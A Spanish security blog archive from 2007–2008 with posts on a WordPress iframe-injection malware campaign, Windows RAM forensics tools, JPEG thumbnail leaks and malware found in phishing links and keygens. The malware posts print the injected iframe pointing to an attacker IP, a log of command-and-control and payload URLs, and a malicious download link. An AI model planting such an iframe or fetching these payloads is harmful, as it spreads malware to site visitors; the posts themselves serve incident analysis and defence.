Malware y WordPress….

21 04 2008

Hola a tod@s!!

Hace poco me llegó un aviso de que WordPress podría tener un fallo de seguridad. Más o menos 8 o 10 horas después, me encuentro con que más de 30.000 sitios estaban afectados por esta vulnerabilidad, realizando una simple búsqueda en Google.

Hace unos 3 días, leyendo mi RSS  me encontré una entrada de Ignacio Escolar, en la que comentaba que había sido víctima de este ataque, así que me puse en contacto con él y me ofrecí a echarle un cable, ya que a mí me interesan mucho estos temas, y creo que puede ser de interés para los que leéis este blog.

Pego en este post todo lo que me he encontrado hasta ahora, por si hay algún afectado y le interesa el tema, ya que el Malware sigue activo en estos momentos.

Disclaimer: No abras el contenido de las Web que aparecen si tienes activado JavaScript

Si se aprovecha la vulnerabilidad, el exploit añade en el código fuente un Iframe que apunta a otro sitio Web, desde el que se lanzaba todo el ataque.

<!– Traffic Statistics –> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!– End Traffic Statistics –>

Este Iframe, te redirige a una Web, en la que en el código fuente hay un Javascript con el código ofuscado, el cual tenéis aquí (Guardar destino como…).

Al intentar decodificar el Javascript me aparece otro sitio Web, en este caso el siguiente:

http://www.wp-stats-php.info/iframe/good.php

Mirando por encima el contenido que suelta ese good.php, te das cuenta enseguida que se trata de un ejecutable, tal y como podéis comprobar en la siguiente imagen:

El archivo en cuestión, está empacado con UPX, famoso compresor y descompresor de ejecutables, y ampliamente utilizado por Malware.

Una vez que infecta la máquina, éste intenta descargarse varias muestras de Malware, también comprimidas con UPX. El informe completo lo tenéis en virustotal.

He realizado un análisis forense OnLine del malware en sí. Pongo aquí lo más característico.

Al ejecutar el malware en la máquina, éste intenta descargarse de Internet varias muestras. Las copias de estas muestras las aloja en streams del ejecutable Explorer.exe, el cual es legítimo de Spectra.

 Analizando el ejecutable con Process Explorer, se puede realizar una valoración de las peticiones que realiza el malware.

Se puede deducir en este caso, que el malware utiliza el equipo como un Zombie, el cual utiliza para establecer conexiones con otros blogs y direcciones de Internet, esperando ser atacadas.

El malware se descarga otro ejecutable de Internet. En este caso se descarga una aplicación de envío masivo de mails, el cual me queda por analizar, ya que utiliza SSL para el envío de éstos, y en la captura de red que he recogido todavía no me ha dado tiempo de analizar.

Para analizar el posible tráfico SSL que esté utilizando el malware a través de la inyección del Explorer.exe, utilicé las herramientas STRACE y HTTPREPLAY para analizar ese tráfico cifrado. Tenéis un excelente post de David Cervigón explicando estas herramientas. El log completo lo tenéis aquí (Guardar destino como…). 

En unos 45 minutos, el Malware me ha dejado un Log de conexiones de unos 13 MB, de los que se recoge, entre otra información, direcciones de los atacantes, las cuales son las siguientes:

BS-AR:https://www.yaho0-groups.info/base/a.php
uri: https://www.yaho0-groups.info/base/a.php
received from the base: https://61.155.8.157/test/5.php
retreive nu UID from https://61.155.8.157/test/5.php
uri: https://61.155.8.157/test/5.php
uri: https://61.155.8.157/test/5.php
*http://nil213.narod.ru/pom/pompay.jpg*
uri: http://nil213.narod.ru/pom/pompay.jpg
*http://alor686.narod.ru/fg/seh3.jpg*
uri: http://alor686.narod.ru/fg/seh3.jpg
*http://ronna58.narod.ru/anl/analyzer.jpg*
uri: http://ronna58.narod.ru/anl/analyzer.jpg
*http://folp0.narod.ru/yb/yb2.jpg*
uri: http://folp0.narod.ru/yb/yb2.jpg
*http://tri57.ingyenweb.hu/bl/bl2_5.jpg*
uri: http://tri57.ingyenweb.hu/bl/bl2_5.jpg
parB: *http://bonv3.narod.ru/cr/crawler.jpg*
uri: http://bonv3.narod.ru/cr/crawler.jpg
*http://tachell14.tripod.com/14/ggr4.jpg*
uri: http://tachell14.tripod.com/14/ggr4.jpg
*http://tenta9.narod.ru/gml/gmail3.jpg*
http://tenta9.narod.ru/gml/gmail3.jpg
*http://utenti.lycos.it/nil21/is/whois2.jpg*
uri: http://utenti.lycos.it/nil21/is/whois2.jpg
*http://minako49.tripod.com/rf/RF_DIP_1.jpg*
uri: http://minako49.tripod.com/rf/RF_DIP_1.jpg
*http://nil213.narod.ru/ext/extract5.jpg*
uri: http://nil213.narod.ru/ext/extract5.jpg
*http://donp4.narod.ru/fg/fg5.jpg*
uri: http://donp4.narod.ru/fg/fg5.jpg
https://61.155.8.157/test/5.php
master URI is http://61.155.8.157/gmail/gmail_task_1302.php
uri: https://61.155.8.157/test/5.php
master URI is http://69.93.173.58/analyzer/analyzer.php
uri: https://61.155.8.157/test/5.php
master URI is http://61.155.8.157/gmail/blogger_server_5.php
uri: https://61.155.8.157/test/5.php
master URI is http://61.155.8.157/test/5.php
uri: https://61.155.8.157/test/5.php
master URI is http://69.93.173.58/crawler/crawler.php
uri: https://61.155.8.157/test/5.php
master URI is http://69.93.173.58/whois/whois.php
uri: https://61.155.8.157/test/5.php
master URI is http://61.155.8.157/test/stask.php

Como información adicional, también se recoge información sobre los Blogs a los que ataca:

 En el Log también se recoge información sobre el método de inyección en el ejecutable Explorer.exe:

Por otro lado están las capturas de red que he realizado mientras el Malware estaba activo en la máquina, dando también bastante información sobre el Malware en sí, ya que utiliza nombres de usuario y password en claro para autenticarse en varios sitios Web, y con los que realiza comentarios (SPAM) en los que se sugiere que se descarguen cierta basura de Internet, como Ringtones, aplicaciones para jugar al Casino, etc…

El servidor, al parecer está alojado en China, según localización de dominio e IP. Podéis realizar otra comprobación en esta Web.

Con esta información, lo primero que debéis hacer es banear toda dirección IP que pueda enlazar a uno de estos ejecutables, y revisar comentarios en nuestros Blogs, ya que podemos, sin quererlo, estar propagando de alguna forma este ataque masivo.

Como nota final, comentar que si algún equipo sigue el principio del mínimo privilegio, esta infección no se provocaría en el sistema, al carecer de privilegios como inyección y alojamiento de Malware en el directorio %systemroot%.

Si alguno está afectado y necesita información, que me mande un mail y le pasaré toda la información al respecto.

1Saludo a tod@s! 




Análisis memoria RAM. Búsqueda de procesos I

8 04 2008

En todo análisis forense, se debe atender a un orden de volatilidad. Los datos contenidos en la memoria RAM y el archivo de paginación están en los primeros puestos de este orden. Por esto mismo, es por lo que muchas empresas que se dedican al forense informático, en muchas de sus variantes, deciden prescindir de investigar lo que hay en RAM, para dedicarse a otra información menos volátil, como por ejemplo el contenido del disco duro. El problema viene cuando sólo tenemos como pruebas un volcado de memoria (DUMP) o un archivo de paginación (pagefile.sys).

En este artículo y en el siguiente, haré mención a las herramientas que tenemos a día de hoy para analizar un volcado de memoria RAM (DUMP).

A día de hoy, pienso que la memoria RAM es de vital importancia en una investigación, ya que entre otras cosas, podremos encontrarnos con lo siguiente:

  • Procesos en ejecución
  • Procesos en fase de terminación
  • Conexiones activas (TCP-UDP)
  • Ficheros mapeados (Drivers, Ejecutables, Ficheros)
  • Objetos en caché (HTML,JavaScript,Passwords)
  • Elementos ocultos (Rootkits)

Como en toda investigación, la información que podamos recopilar depende de muchos factores, tales como el sistema operativo, el TimeLive de la máquina y lógicamente, el tamaño de la memoria RAM. Pongamos como ejemplo a Windows Vista y Windows XP. Windows Vista maneja de forma diferente los datos en memoria RAM. Utiliza mucho el acceso a RAM, para no cargar tanto al disco duro, ya que el acceso a memoria RAM es mucho más rápido que el acceso a disco. Windows XP no carga tanto la RAM, y en cambio utiliza mucho más el archivo de paginación.

Dependiendo del sistema operativo tendremos más o menos herramientas para realizar búsquedas. En este artículo mostraré una para Windows 2000, y que se llama memparser.

Memparser es una herramienta creada a raíz de un reto forense y desarrollada por Chris Betz. Antes de desarrollar la herramienta en cuestión, tuvo que debuggear un kernel de un Windows 2000 SP4 para buscar similitudes, identificar estructuras, y analizar el código resultante del debugging.

Cada proceso en Windows 2000 es representado por un bloque ejecutivo de proceso (Executive Process). Cada bloque representa a un proceso y contiene estructuras y datos relacionados con ese objeto. En la memoria también residen los hilos que crean estos procesos (ETHREAD), tokens de acceso, Kernel Process (KPROCESS), el cual tiene información sobre el tanto por ciento del kernel utilizado por cada proceso, etc…

La herramienta en cuestión busca lo siguiente:

  • EPROCESS
  • Objetos de Kernel
  • Drivers
  • Contenido de memoria

De todas las herramientas que hay, esta es la más completa de todas, ya que podremos desde listar los procesos que hay en un volcado de memoria, hasta por ejemplo sacar el contenido de la memoria del ejecutable, y con el que podremos, por ejemplo, buscar posibles restos de malware.

En sucesivos artículos, repasaremos las diferentes opciones que tenemos para otros sistemas operativos.

Enlaces

Memparser (SourceForge)

Inside Microsoft Windows 2000 Third Edition




Como cagarla en una página Web. By Maligno

22 02 2008

————————————Artículos anteriores ————————————————

http://windowstips.wordpress.com/2008/02/13/analisis-de-memoria-ram-recogida-de-evidencias/

http://windowstips.wordpress.com/2008/02/14/analisis-de-memoria-ram-metodos-de-recoleccion-alternativos/

http://windowstips.wordpress.com/2008/02/18/analisis-de-memoria-ram-verificando-la-integridad/

http://windowstips.wordpress.com/2008/02/19/analisis-de-memoria-ram-un-caso-extrano/

 ————————————————————————————————————-

Hola a tod@s!

Preparando el evento del día 3 de Abril del nuevo AseguraIT, la parte que me corresponde es la de análisis forense. Voy a hacer especial hincapié en la recogida y análisis de evidencias, en especial la memoria RAM, junto con las posiblidades que tiene. Si tenemos tiempo también vamos a meter algo sobre forense de imágenes, nuevas técnicas y herramientas interesantes. Como ya sabéis que el Maligno se mete-autoinvita en todos los fregados, me ha mandado un bonito post sobre cómo cagarla en una Web (Se ve que palako y el Maligno se lo pasan cojonudamente in London…), así que os la reproduzco palabra a palabra.

Nota: Ni de coña yo hablo como reproduce el Maligno…. Lo que pasa es que los cabrones estos no saben escuchar a los Trianeros profundos….

Como cagarla en una página Web

A mí, que me gustan las cosas raras como el erotismo entre especies, la compartición de alimentos en una única taza o el retro-placer, me vienen bien las páginas de contactos sexuales. Son sitios en los que se puede conocer a gente de todo tipo, tamaño, color y sabor… con gusto aun más divertidos que los mios.

Vale, una vez acabada la intro de este post, si habéis tenido la mala idea de seguir los links os doy unos minutos para beber algo fresquito y continuar leyendo tras haber reciclado la última comida que halláis digerido.

[wait for ’00:03:00’]

Bien, como iba diciendo, a mí, que me van los rollos raros, me cuesta conseguir este tipo de cosas (yo creo que es porque soy informático, no porque los vicios sean raros…). El caso es que me había creado un anuncio en el que se ofrecía “Maligno Macho Bravío Español”, como en la foto siguiente:

Sí, como notaréis en ella, he quitado ciertas partes cruciales de la foto para no poder ser reconocido. Así que la puse en el anuncio [No os digo la página que algunos de vosotros sois capaces de pedirme rollito porno…]. 

El asunto es que el otro día, el amigo Silverhack me dijo con su peculiar acento madrileño “illo, peroquehazez!! ¡Qué te van a ver toda la pilililla….ideputa!!”

“Comor?”

“Puez ezo dezgraziaaaaao, que te van a ver de color tienes los calandrios!”.

Así que me contó cómo es la demo que está preparando para el próximo evento de AseguraIT que va a ser el día 3 de Abril en Barcelona.

Las fotos JPEG, dentro de la información que se almacena, tienen la posibilidad de guardar un thumbnail. Esta imagen en miniatura se utiliza para poder procesar rápidamente ciertas aplicaciones gráficas. Cuando tú utilizas una herramienta de edición gráfica el mismo programa gestiona el thumbnail que se crea. Si después manipulas la foto con un programa que no modifica el thumbnail, resulta que has publicado una foto modificada con el thumbnail de la foto original. Con un sencillo programa como jhead alguien puede extraer el thumnail de la foto con un sencillo comando: jhead –st thumbnail.jpg foto.jpg.

Existen multitud de programas para extraer información EXIF y con las que podremos realizar numerosas tareas. Otra de estas herramientas, que curiosamente no está diseñada como aplicación forense, pero que tiene una especial relevancia en temas de fotografías digitales, son las herramientas de ExifUtils.  

ExifUtils

Para preparar un entorno con esto:

1.- Abre una foto con el photoshop o cualquier otra herramienta que genere el thumbnail.

2.- Después recórtala con el MSPaint, por ejemplo, y guarda la foto.

3.- Si sacas el thumbnail de la foto modificada aparecerá el thumbnail de la foto original sin modificar… ¿Sencillo, no?

¿Qué se vería en mi foto original?

Bueno, supongo que ninguno de vosotros tendrá fotos de estas por ahí como yo, ¿no?

Saludos malignos!




Análisis de memoria RAM. Un Caso extraño

19 02 2008

En el artículo anterior, estuvimos viendo la recogida de información de la memoria RAM haciendo uso de los objetos del sistema operativo. En este artículo veremos la recogida de información desde otra perspectiva.

En ocasiones, y tras un ataque exitoso, un sistema puede presentar algo de inestabilidad, posiblemente debido a la eliminación de ficheros esenciales de sistema, instalación de aplicaciones no compatibles con el sistema, parcheo de estructuras del Kernel, etc.. Cuando un sistema presenta este cuadro de síntomas, no es de extrañar que el sistema presente un BSOD, indicando que algo está fallando, y es entonces cuando nos tenemos que preguntar: apagamos el equipo? Reiniciamos el equipo?

Un ejemplo válido se puede dar con el rootkit FU. Ampliamente conocido, este rootkit trabaja en modo Kernel sobreescribiendo estructuras propias del mismo, lo que le permite por ejemplo ocultar procesos. En muchas ocasiones, y tras instalarlo en el sistema, el proceso que se desee ocultar se oculta con facilidad, pero a la hora de detectarlo, puede que el sistema operativo presente un BSOD indicando que hay “algo” que no va bien. El proceso que sigue Windows para pintar la pantalla azul es el siguiente:

  • Manda parar las interrupciones del sistema
  • Llama a la CPU a detener
  • Pinta la pantalla azul
  • Notifica el driver que ha fallado
  • Si el DUMP está configurado, lo prepara para su volcado

En el procedimiento interno intervienen procesos como smss.exe, winlogon y savedump, los cuales son los que realizan las llamadas para extraer el volcado y pasarlo a un fichero. En el transcurso en el que el sistema vuelca el contenido de la RAM hasta que lo deposita en su correspondiente fichero, el sistema debe de guardar los datos en el archivo de paginación pagefile.sys. Al reiniciar el sistema operativo después de un BSOD, el proceso savedump es el encargado de pasar el volcado de memoria a su correspondiente fichero. Para que el procedimiento no presente errores, el archivo de paginación debe ser por lo menos 1′5 veces más grande que la memoria RAM. Si el archivo de paginación no sigue esta premisa, el volcado de memoria no se completará, o se completará con errores (Volcado corrupto).

Habrá ocasiones en las que cuando se nos presente un caso con estas características y se presente un BSOD, no podamos reiniciar el equipo para obtener muestras, con lo que atendiendo al RFC  3227, en un principio tan solo podríamos realizar un análisis de ficheros y disco, obviando los aspectos de memoria RAM. Pero gracias al comportamiento que tiene Windows a la hora de realizar el volcado de memoria, podemos recuperar ese volcado gracias al archivo de paginación.

dump.png

Para realizar la conversión, utilizaremos de nuevo la herramienta dd para volcar el contenido del archivo de paginación a un nuevo archivo DMP.

ddpagefile.png

Finalmente, podemos comprobar su integridad con las herramientas dumpchk o dmpchkex, ambas explicadas en anteriores artículos.

dmpchkpagefile.png

En posteriores artículos nos centraremos en la clase de información que podremos extraer de un volcado de memoria.

Enlaces:

Opciones de rendimiento en Windows XP

Optimizar archivo de paginación

DPM Magic

Memoria Virtual

Windows Hang and Dump Analysis (Mark Russinovich)

Saludos!




Análisis de memoria RAM. Verificando la integridad

18 02 2008

Una vez que hemos realizado los volcados de memoria, llega la hora de verificar la integridad de las mismas para comprobar si son factibles a la hora de trabajar con ellas. En este artículo presentaré herramientas de verificación de volcados de memoria en formato DMP, formato escogido para trabajar con las herramientas de debugging de Microsoft.

Este tipo de herramientas se hacen indispensables para la persona que se dedique o tenga relación directa con el análisis de volcados de memoria, ya que por un despiste, podemos perder horas y horas de trabajo. Si estamos trabajando con tipos de datos no muy grandes (Menor a un Giga por ejemplo), el proceso de copiado de éstos se hace sencillo, pero cuando trabajamos con equipos en los que la memoria RAM sobrepasa los 4GB, el transporte y análisis de éstos se hace mucho más complicado (Dependiendo del tipo de volcado que tenemos configurado en la máquina), y necesitamos más que nunca verificar la integridad de éstos. Si un volcado de memoria se genera de forma corrupta, no podremos abrirlo con ningún debuggeador, y tendremos que utilizar otras técnicas más austeras, complejas y tediosas para su análisis.

El funcionamiento de este tipo de utilidades es sencillo en su forma. Abren el volcado de memoria en busca del fallo que lo ha causado, como el código de error, y muestran el tipo de arquitectura de máquina, tipo de sistema operativo, etc.. Si no hay ningún código de error que muestre lo contrario, el volcado de memoria será íntegro, y podremos transportarlo en un medio seguro para poder trabajar con él.

A continuación muestro las dos herramientas más usadas para este tipo de verificación.

DumpChk

De las dos que presento en este artículo, dumpchk es la más completa, ya que esta herramienta nos va a mostrar mucha información sin tener que depurar nada, simplemente ejecutando este comando.

Esta herramienta nos va a mostrar desde el sistema operativo en donde proviene el volcado, uptime de la máquina, versión de compilación del sistema operativo, offset de la base del kernel, tipo de arquitectura, etc… Como podréis observar, muchísima información base y sin tener que depurar nada.

dumpchk.png

Esta herramienta, junto con muchas otras (Como bindiff para comparar ejecutables), las tenemos en el mismo CD de Windows XP por ejemplo, o descargando las Support Tools de Windows XP SP2, desde esta dirección:

http://www.microsoft.com/downloads/details.aspx?familyid=49ae8576-9bb9-4126-9761-ba8011fabf38

Si el volcado de memoria no es válido para ser tratado con las herramientas de debugging de Microsoft, nos aparecerá una respuesta diferente a la anterior:

errordumpchk.png

DumpCheck Utility (Citrix)

DumpCheck Utility, es otra de las grandes herramientas desarrolladas por Dmitry Vostokov. Esta herramienta también nos ayudará a verificar la integridad de un volcado de memoria. Cuando la integridad del volcado es correcta para que podamos realizar el análisis con Windbg, la herramienta mostrará lo siguiente:

dmpcheck.png

Si la herramienta detecta que el volcado de memoria no cumple con los criterios de integridad, o lo que es lo mismo, que el volcado está corrupto, la herramienta mostrará lo siguiente:

dmpcheckerror.png

Esta herramienta, junto con una explicación más detallada, la podéis descargar de aquí.

DumpCheck Utility Explorer (Citrix)

Para los que necesiten tener esta herramienta mucho más a mano, y no le guste tanto la línea de comandos, Dmitry Vostokov ha diseñado la misma herramienta, pero integrándola por completo en nuestro Explorer de Windows, haciendo esta tarea mucho más fácil, y mucho más amena para muchos. El funcionamiento es el mismo, pero esta vez sólo tendremos que utilizar el botón derecho del ratón. El resultado es el mismo que el anterior.

checkdump.png

La herramienta en cuestión, junto con su explicación detallada, la podéis descargar de aquí 

En el próximo artículo veremos un caso extraño de recolección de evidencias, aplicando técnicas diferentes y herramientas mostradas en estos artículos, consiguiendo un resultado óptimo.

Enlaces

Utilizar DumpChk en ambientes Windows NT, 2000 y 2003

Utilizar DumpChk en ambientes Windows XP

Saludos!




Análisis de memoria RAM. Métodos de recolección alternativos

14 02 2008

En ocasiones necesitaremos realizar un volcado de la memoria RAM cuando fallen o no se den las siguientes circunstancias:

  • No tenemos acceso físico a la máquina (Distinto país por ejemplo)
  • Fallan las configuraciones de Teclado para el forzado del DMP (Teclado no soportado por ejemplo)
  • Sistema sin Teclado
  • No tenemos acceso a la consola del servidor

Cuando se dan estas características o circunstancias, necesitaremos forzar a la máquina para que realice un volcado de memoria. Vamos a detallar las herramientas más comunes:

NotMyFault (SysInternals)

Con esta herramienta podemos provocar un BSOD, junto con el consecuente volcado de memoria, y podremos configurar la herramienta para que realice el volcado en base a unos errores específicos. La herramienta la podéis descargar de aquí, y un breve resumen de ella junto con el análisis de un BSOD lo tenéis aquí y aquí.

SystemDump (Citrix)

Herramienta creada por Dmitry Vostokov, y como la anterior herramienta, nos servirá para forzar a la máquina a que realice un volcado de la memoria RAM.

Esta herramienta se puede utilizar tanto en entorno gráfico (UI) como bajo línea de comandos, y el manejo de ella es bastante sencillo.

system.png

Bajo línea de comandos, teclearemos el comando SystemDump <cadena de texto a mostrar> <tiempo>.

LiveKD (SysInternals)

LiveKD es una utilidad que nos permitirá utilizar de forma local todos los comandos del debuggeador Windbg. Para utilizar esta herramienta, primero necesitaremos instalar en la máquina las Debugging Tools de Windows. Una vez realizada la instalación, añadiremos al directorio en donde hemos instalado el Windbg la herramienta LiveKD, la cual podéis descargar de aquí.

El funcionamiento de esta herramienta es bastante sencillo (para el caso que nos ocupa). Una vez ejecutada la herramienta, ésta ejecuta los comandos y ejecutables propios del debugeador de Windows, y una vez terminada, podremos ejecutar comandos del debugeador.

Lo bueno de esta herramienta, es que podremos realizar un volcado de memoria en vivo, sin tener que reiniciar el sistema operativo. Lo malo, es que tenemos que tener instaladas estas herramientas en el equipo.

livekd.png

Sin Acceso Físico

Cuando no tengamos acceso físico a la máquina en cuestión, bien por cuestiones geográficas, o bien por otras causas, podremos utilizar la herramienta de SysInternals Psexec, con la cual podremos ejecutar comandos de forma remota como si estuviesemos trabajando en local. Para el caso que nos ocupa, podemos utilizar la herramienta psexec junto con systemdump, ya que también podemos ejecutarla bajo línea de comandos.

psexec.png

Cuando no queremos el MD5

Desde hace bastante tiempo hay mucha controversia con el MD5, técnica utilizada para validar la integridad de un archivo. En su día se descrubió que era posible que dos archivos totalmente diferentes tuviesen el mismo hash, e incluso hay pruebas de concepto (POC), fruto de esas investigaciones. Los hay incluso que con una PlayStation 3 y un poco de imaginación, son capaces de predecir quién será el próximo presidente de EEUU….

md5c.png

Debido a eso, muchos investigadores forenses no simpatizan mucho con este método de validación de integridad, y desvían su atención hacia SHA1 por ejemplo.

Nicholas Harbour en su día ya pensó en esto. Esta persona, que en su día trabajó para el laboratorio forense del Departamento de Defensa rediseñó la herramienta dd, para que ésta soportase varios métodos de integridad, como por ejemplo SHA1, SHA256, etc.. Por defecto la herramienta valida en MD5. La herramienta en cuestiónn está publicada en SourceForge y se llama dcfldd

ddcifrado.png

En el próximo artículo veremos las opciones que tenemos para verificar la integridad de un volcado de memoria, y si es apto para ser utilizado en Windbg, la herramienta de debugging de Microsoft.

 Enlaces

Collisions for Hash Functions

Predicting the Winner of the 2008 US Presidential Elections using a Sony Playstation 3

Saludos!




Análisis de memoria RAM. Recogida de evidencias

13 02 2008

El análisis forense en sistemas informáticos, engloba muchos tipos de recogida de información para su posterior tratado. Entre ellos tenemos los siguientes:

  • Análisis de aplicaciones
  • Análisis de BBDD
  • Análisis de ficheros
  • Análisis de red
  • Análisis de memoria RAM
  • Análisis de SWAP, paginación
  • Análisis de discos físicos
  • Análisis Mobile
  • Análisis de impresoras
  • etc…

En accesos a disco nos podemos encontrar con muchísima información, como pueden ser documentos, información relevante al usuario en aspectos de navegación, passwords, logs de aplicaciones, logs de seguimiento, etc…

Pero en análisis forenses se echan de menos los datos que pudiesen contener la memoria RAM. En todo análisis forense se sigue un orden a la hora de recoger información, siempre atendiendo el orden de volatilidad. Un ejemplo de ello lo tenéis en el RFC 3227 de buenas prácticas a la hora de recoger información.

No voy a entrar en el debate sobre si es complicado o no la recogida de este tipo de información (RAM y derivados), y sobre si es admisible o no en un juicio. Eso se lo vamos a dejar a uno de los monstruos en esto. Juan Luis García (MVP Security) lo explica muy bien en su blog.

Lo que si veremos es qué podemos encontrarnos en RAM, y como podremos identificar, por ejemplo, aplicaciones maliciosas como rootkits inyectados directamente en memoria, restos de troyanos, direcciones IP, conexiones TCP/UDP registradas en máquina, passwords, etc…, junto con las herramientas que hoy día disponemos.

Puede que a lo mejor no se incluyan este tipo de pruebas en un juicio, pero de seguro nos ayudarán a entender mejor qué había en la máquina, y eso ya de por sí es un adelanto.

En sucesivos post comentaremos las formas de recogida de información de RAM y las posibilidades de cada una de ellas, tanto en su forma como en contenido.

Me voy a centrar básicamente en la recogida de información en base a adquisición de evidencias por software, que aunque menos seguro, la recogida es mucho más fácil y disponible para los usuarios.

Así que empecemos por el principio! 

Método I. Realizar un volcado de la RAM accediendo directamente al objeto de la memoria \Device\PhysicalMemory

Algunas aplicaciones pueden utilizar este objeto para acceder a la memoria física. En nuestro caso es el mismo. Necesitamos una herramienta que nos proporcione acceso a este objeto para poder realizar un volcado de la misma. Una herramienta indispensable para este tipo de volcados es utilizar la herramienta dd. Como esta serie de artículos tratan sobre Windows y el análisis de memoria del mismo, utilizaré una versión de esta herramienta, compilada para sistemas Windows y compilada para ser utilizadas en escenarios forense. Un buen conjunto de herramientas forense para la adquisición de evidencias lo tenemos en la página de George Garner, y su nombre es el siguiente. Forensics Acquisition Utilities.

dd Forensics

Aunque la imagen resultante podemos extraerla a otro disco duro, lo más correcto sería pasarla a través de la red, a otra ubicación que estuviese aislada de la zona 0.

Si queréis o necesitáis ver los objetos que tiene un sistema operativo Windows, podéis utilizar la herramienta WinObj de Sysinternals.

La herramienta dd la podemos combinar con NetCat o Crypcat (en su formato cifrado) para pasar la información a través de la red. Las opciones más comunes que se utilizan con la herramienta dd y en su versión para forense son las siguientes:

  • md5sum.- Calcula la firma digital para dar fe de la integridad de los datos
  • Log.- Por si queremos guardar un Log de la extracción
  • verifymd5.- Verificar la integridad de la imagen con el md5 obtenido

Para realizar este tipo de capturas, ya existen aplicaciones que automáticamente recogen este tipo de información. Un ejemplo de ésta herramienta es Helix. Herramienta basada en Knoppix y customizada para su uso en análisis forense, esta herramienta viene con una suite bastante amplia de herramientas para el tratamiento y análisis de información, lo que facilita y mucho las labores de recogida de información. El análisis y tratado de éstos, es otra historia aparte…

Helix

 

A partir de la versión Windows 2003 SP1, el acceso en modo usuario a este objeto del sistema, ya no es permitido, por lo que este tipo de herramientas ya no nos servirán para realizar volcados de memoria. Si necesitamos realizar un volcado de memoria en sistemas Windows después de la versión 2003 SP1 en adelante (Incluyento a Windows Vista y Windows Server 2008), tendremos que utilizar herramientas comerciales como las KntTools, de GMG Systems, o esperar a la próxima release del LiveCD Helix.  

En esta primera parte hemos visto los pasos necesarios para realizar un volcado de la RAM a través de los objetos de Windows. En artículos posteriores veremos otras situaciones que se nos pueden dar y sus posibilidades.

Enlaces:

Device/PhysicalMemory Object

Forensic RAM Dumping

Saludos!




Como me mola jugar

12 04 2007

Y el que no quiera, es porque no quiere. Juegos en flash, en java, javascript, mame, playstation (I, II, III), wii, XBOX, arrgghhhh!!!

Pero uno que me mola mucho es el WOW (World of WarCraft). Humanos, elfos, enanos, alianzas, bandos, etc.. Podemos elegirentre muchos jugadores, y la cantidad de gente que utiliza este juego es brutal (+ de 8 millones).

Esta mañana recibo un mail.  Un mail de WoW! Qué guapo! Me habrán invitado a jugar? El link es este:

http://www.worldaofwr.net/

Pero el link de mi correo redirecciona a un directorio del dominio woldaofwr.net que se llama /level/goldani.htm y mi equipito se queda mudo, sin hacer nada.

Los que me conocen algo saben que voy por la vida sin antivirus ni antispyware. Tan solo con mi equipo actualizado al día, un firewall y una cuenta NO administrativa, con la que voy pululando por la INET.

Al mirar el código fuente del htm me encuentro con una cosa curiosa:

<META http-equiv=refresh content=3000></HEAD><BODY><DIV style=”CURSOR: url(’goldani.gif’)”></DIV></body></html>

Ummm….. Sólo un gif? Yo quiero jugar!! :)

Miraré el registrador del dominio…..

[Querying whois.opensrs.net]
[whois.opensrs.net]
Registrant:
QiuLin Li
GuangDong PuLing City, DaNanShan 88 Hao
Puling, NA 515421
CN
Domain name: WORLDAOFWR.NETAdministrative Contact:
    Li, QiuLin  881515com@163.com
    GuangDong PuLing City, DaNanShan 88 Hao
    Puling, NA 515421
    CN
    +1.862386215578
Technical Contact:
    Li, QiuLin  881515com@163.com
    GuangDong PuLing City, DaNanShan 88 Hao
    Puling, NA 515421
    CN
    +1.862386215578

Registration Service Provider:
    Ecommerce, Inc., registrars@ecommerce.com
    800-861-9394
    http://ecommmerce.com
    UNLIMITED Storage Space, 3 TERRABYTES of Monthly Transfer & up-to 16
    domains, starting at $3.95!
   
    LIFETIME FREE DOMAIN REGISTRATION + FREE FEATURES INCLUDED, ONLY AT
    IXWEBHOSTING.COM

Registrar of Record: TUCOWS, INC.
Record last updated on 21-Mar-2007.
Record expires on 21-Mar-2009.
Record created on 21-Mar-2007.

Domain servers in listed order:
    NS7.IXWEBHOSTING.COM  
    NS8.IXWEBHOSTING.COM  

Domain status: clientTransferProhibited
                clientUpdateProhibited

Un gif como cursor….. Sin extensión ANI? Tengo que mirarlo….

Me descargo el gif ¿?, le paso un strings para salir de dudas y me encuentro con que es un archivo malicioso que te descarga y ejecuta otra aplicación. Más concretamente esta:

http://www.worldaofwr.net/jw/softs.exe

Este me queda por analizarlo y ver que hace.

La particularidad de esto es que el navegador no parece darse cuenta de que no es un cursor animado (ANI), aunque mi equipo no lo haya ejecutado. Si hemos bloqueado cualquier tipo de archivo ANI en nuestros equipos, lógicamente este tipo de ficheros, al llevar otra extensión, pasarán, y si no tenemos nuestros equipos debidamente configurados y parcheados, ni me lo imagino… Bueno sí, porque estoy arrancando una maquinita virtual para infectarla y ver qué hace… Pero eso ya es otra historia.. :)

Saludos!




Formas de analizar un virus. Un paseo por Rapidshare

25 02 2007

De vez en cuando me doy un paseillo por webs de descarga directa a ver si encuentro algún amiguete escondido entre tanto link. Esta vez me dí un paseo por rapidshare.

Este tipo de Webs, como sabéis, ofrecen un servicio gratuito de alojamiento de archivos por un tiempo limitado. Chulo no? Lo malo es que se pueden alojar tanto archivos buenos, como archivos maliciosos.

Empecé buscando lo que busca todo el mundo. Un keygen para el Windows Vista. jaja. Tanto critiqueo pero estas Webs están llenas de cracks para el Vista. De los 5 archivos que me descargué 3 tenían un alien dentro. Llamádme loco, pero cada vez que descargo un archivo, tengo la paranoia de subirlo a virustotal. Los 3 amigos son los siguientes:

Troyano Zlob (2 archivos)

Un keylogger

Un posible virus sin identificar (Mirad la foto)

Tanto el troyano como el keylogger, lo detectaban perfectamente casi todos los antivirus de virustotal, pero con el tercero, la cosa cambia. El posible virus está empacado con Themida, un software comercial para empacado de archivos. Permite encriptación, técnicas anti-debbuger, etc.. Una aplicación que haya sido empacada con este software puede dar más de un falso positivo, y sólo algunos antivirus, con heurística paranoica, detectan algo, que en algunos casos, puede o no ser un virus.

En el blog de Hispasec pusieron una entrada hace no mucho tiempo que debatían sobre el tema de si los antivirus debían detectar estos packers. Enlace aquí

Ni Mcafee, ni Norton, ni Panda, ni Kaspersky, ni Nod32 lo detectan. Se lo tragan completito.

Y el nombre no puede ser más sugerente. Microsoft_Windows_Vista_Keygen. Si los antivirus no lo detectan, qué haría una persona medianamente normal? Doble click…. Y a jugar! Veamos un poco lo que hacen nuestros amigos.

Aquí empezamos a jugar con la máquina virtual. En post anteriores os he dado algunos enlaces directos a máquinas virtuales, así que podéis descargaros las de los links, o montaros alguna para pruebas.

Ejecutamos nuestra máquina virtual y ejecutamos el posible virus. Doble click y el archivo desaparece… Y mi serial?? :)

